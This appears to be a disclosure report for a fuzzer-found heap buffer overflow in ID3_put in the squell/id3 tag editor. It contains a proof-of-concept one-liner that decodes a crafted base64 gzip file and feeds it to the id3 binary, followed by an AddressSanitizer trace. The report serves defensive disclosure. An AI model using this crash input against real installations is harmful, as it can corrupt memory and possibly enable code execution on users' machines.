Heap-based Buffer Overflow in squell/id3

Valid
Reported on Jun 4th 2021

✍️ Description

Archive.org is a worthy cause to support. 👍 During testing of id3 compiled from commit a899ea with Clang 13+ASan on Ubuntu 20.04.2, we discovered a payload which triggers a heap-buffer-overflow in ID3_put. This particular bug was found using the AFL fuzzer.

🕵️‍♂️ Proof of Concept

echo "H4sICLEmumAAA2ZpbGUuZnV6egDt2iESgkAUxvEHXoQZj8AFDBS6gcqM0aZ2DuBgMnkBk1aDBg1a
vJOSxYC6y9td/7/I7Lz3BWbZB+RZOhCRKJ6Ni6IQSYYi8bSUUhJZyFx2APBXqmZL1Ou+12vto9pw
vZXheqGrHtoJ8LWtdoC2o3aA3121AwBAJ5x24aHDJ4tPtlLAR57dDnX70uTtln2zHOTV2XL9xFil
5hnHnGrAuu+GUd8NHaV7SguF7Q0LAIKVZ6l2BADoR9VxHXMKLBFGv25G2gEAZy21AwBwmLnPLQAC
whgcrotu+7tuewCAo3r/5ShskTvvkjfaAQCvPQGyl+5EwEEAAA==" | base64 -d > /tmp/file.fuzz.gz && gzip -d /tmp/file.fuzz.gz && ./id3 -v -u /tmp/file.fuzz

The ./id3 -v -u file.fuzz command line produces this stack trace:

==1814947==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000004d00 at pc 0x000000524c6b bp 0x7fff2ab24410 sp 0x7fff2ab24408
WRITE of size 1 at 0x621000004d00 thread T0
    #0 0x524c6a in ID3_put /root/id3/id3v2.c
    #1 0x50f058 in (anonymous namespace)::writer::put(char const*, void const*, unsigned long) /root/id3/setid3v2.cpp:77:24
    #2 0x50f058 in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:325:25
    #3 0x5369af in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #4 0x5369af in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #5 0x5369af in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #6 0x4ee72d in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #7 0x4ee72d in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #8 0x4d9a1c in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4e2cf6 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #10 0x4e1b31 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d33e2 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d33e2 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4d60fb in main /root/id3/main.cpp:631:16
    #14 0x7f1f21ebe0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #15 0x41e9cd in _start (/root/id3/id3+0x41e9cd)

0x621000004d00 is located 0 bytes to the right of 4096-byte region [0x621000003d00,0x621000004d00)
allocated by thread T0 here:
    #0 0x499f0d in malloc (/root/id3/id3+0x499f0d)
    #1 0x50d13c in (anonymous namespace)::writer::init(unsigned long, ID3VER) /root/id3/setid3v2.cpp:47:43
    #2 0x50d13c in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:311:13
    #3 0x5369af in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #4 0x5369af in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #5 0x5369af in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #6 0x4ee72d in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #7 0x4ee72d in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #8 0x4d9a1c in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4e2cf6 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #10 0x4e1b31 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d33e2 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d33e2 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4d60fb in main /root/id3/main.cpp:631:16
    #14 0x7f1f21ebe0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/id3/id3v2.c in ID3_put

💥 Impact

This vulnerability is capable of crashing the application, causing data or memory corruption and possibly allowing for arbitrary code execution along with any other unintended consequences of writing past the end of the buffer.